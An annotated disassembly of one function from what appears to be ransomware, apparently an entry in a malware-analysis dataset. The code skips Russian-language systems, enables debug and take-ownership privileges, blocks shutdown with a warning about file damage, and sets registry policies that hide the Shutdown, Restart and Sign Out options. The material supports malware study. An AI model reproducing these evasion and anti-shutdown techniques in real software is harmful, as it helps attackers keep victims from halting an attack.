Function at 0x140008088
Capabilities:
Acquire debug privileges
Create thread
Get common file path
Hide shutdown actions via policy
Identify system language via api

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x4a8]
sub rsp, 0x590
mov rax, qword [0x14005a040]
xor rax, rsp
mov qword [rbp + 0x480], rax
lea rax, vtable.std::_Func_impl_no_alloc_class__int___cdecl_WinMain_struct_HINSTANCE______ptr64__struct_HINSTANCE______ptr64__char____ptr64__int_::_2::_lambda_1___void___.0
xor r15d, r15d
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x20]
lea rax, [rsp + 0x78]
mov qword [rbp + 0x58], r15
lea rcx, [rsp + 0x78]
mov qword [rbp - 0x50], rax
call fcn.14000ae20
mov rcx, qword [rbp - 0x50]
mov qword [rbp + 0x58], rax
test rcx, rcx
je 0x140008103
mov rax, qword [rcx]
lea rdx, [rsp + 0x78]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ecx, 0x419
sub ax, cx
cmp ax, 0x2b
ja 0x14000812b
movabs rcx, 0x84000000601
bt rcx, rax
jb 0x14000852f
xor r8d, r8d
lea r9, str.89A72EF01
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rbx, rax
test rax, rax
je 0x14000852f
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000852f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea rcx, str.PowrProf.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000819e
lea rdx, str.PowerSetActiveScheme
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000819e
lea rdx, [0x14003e7e0]
xor ecx, ecx
call rax
xor ecx, ecx
call fcn.140027524
mov rcx, rax
call fcn.140023bd0
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.140005684
lea rcx, str.SeDebugPrivilege
call fcn.140005684
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x140007e94]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x1400081f9
mov edx, 0x4e20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x28], r15
lea r8, [0x14000dd54]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
lea rdx, [rbp + 0x60]
mov r8d, esi
mov qword [0x14005ce58], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
lea rax, [rbp + 0x60]
lea rax, [rax + rcx*2]
mov rdx, rax
sub rax, 2
cmp word [rax], 0x5c
jne 0x140008267
lea rcx, [0x14005ce80]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [0x14005ce80]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x14005d198]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x14005d208]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x14005d1c0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rdx, [rbp + 0x270]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea r8, str.debugLog.txt
lea rdx, [rbp + 0x270]
lea rcx, [0x14005cf90]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ShutdownBlockReasonCreate
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x14000838b
xor edx, edx
lea rcx, [rbp - 0x40]
lea r8d, [rdx + 0x48]
call fcn.14003c460
lea rax, [0x140008078]
xor ecx, ecx
mov qword [rbp - 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x40]
lea rax, str.window
mov qword [rbp], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], r15
xor r9d, r9d
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
xor ecx, ecx
mov qword [rsp + 0x40], r15
movzx edx, ax
mov eax, 0x80000000
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
lea rdx, str.Do_NOT_shutdown_OR_reboot_your_PC:_this_might_damage_your_files_permanently__
call rsi
lea rax, [rbp + 0x10]
mov dword [rbp + 0x10], 1
lea r14, str.value
mov qword [rsp + 0x20], rax
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
call fcn.140005498
lea rax, [rbp + 0x10]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov qword [rsp + 0x20], rax
call fcn.140005498
lea rax, [rbp + 0x10]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov qword [rsp + 0x20], rax
call fcn.140005498
lea rax, [rbp + 0x10]
mov dword [rbp + 0x10], r15d
lea r8, str.shutdownwithoutlogon
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.140005498
lea rax, [rbp + 0x10]
lea rsi, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov qword [rsp + 0x20], rax
mov rdx, rsi
lea r8, str.MaxConnectionTime
call fcn.140005498
lea rax, [rbp + 0x10]
mov rdx, rsi
lea r8, str.MaxDisconnectionTime
mov qword [rsp + 0x20], rax
call fcn.140005498
lea rax, [rbp + 0x10]
mov rdx, rsi
lea r8, str.MaxIdleTime
mov qword [rsp + 0x20], rax
call fcn.140005498
xorps xmm0, xmm0
mov qword [rsp + 0x70], r15
lea rcx, [rsp + 0x60]
movdqu xmmword [rsp + 0x60], xmm0
call fcn.140007648
lea rax, [rbp + 0x10]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov qword [rsp + 0x20], rax
call fcn.140005498
lea rax, [rbp + 0x10]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov qword [rsp + 0x20], rax
call fcn.140005498
lea rax, [rbp + 0x10]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov qword [rsp + 0x20], rax
call fcn.140005498
lea rax, [rbp + 0x10]
mov dword [rbp + 0x10], 1
lea r8, str.shutdownwithoutlogon
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.140005498
lea rcx, [0x14005d198]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x14005d208]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x14005d1c0]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
or esi, 0xffffffff
test rbx, rbx
je 0x140008516
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x14000852f
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x140008585
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x58]
test rcx, rcx
je 0x140008557
mov rax, qword [rcx]
lea rdx, [rbp + 0x20]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
xor eax, eax
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.14001c440
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14001d47c
int3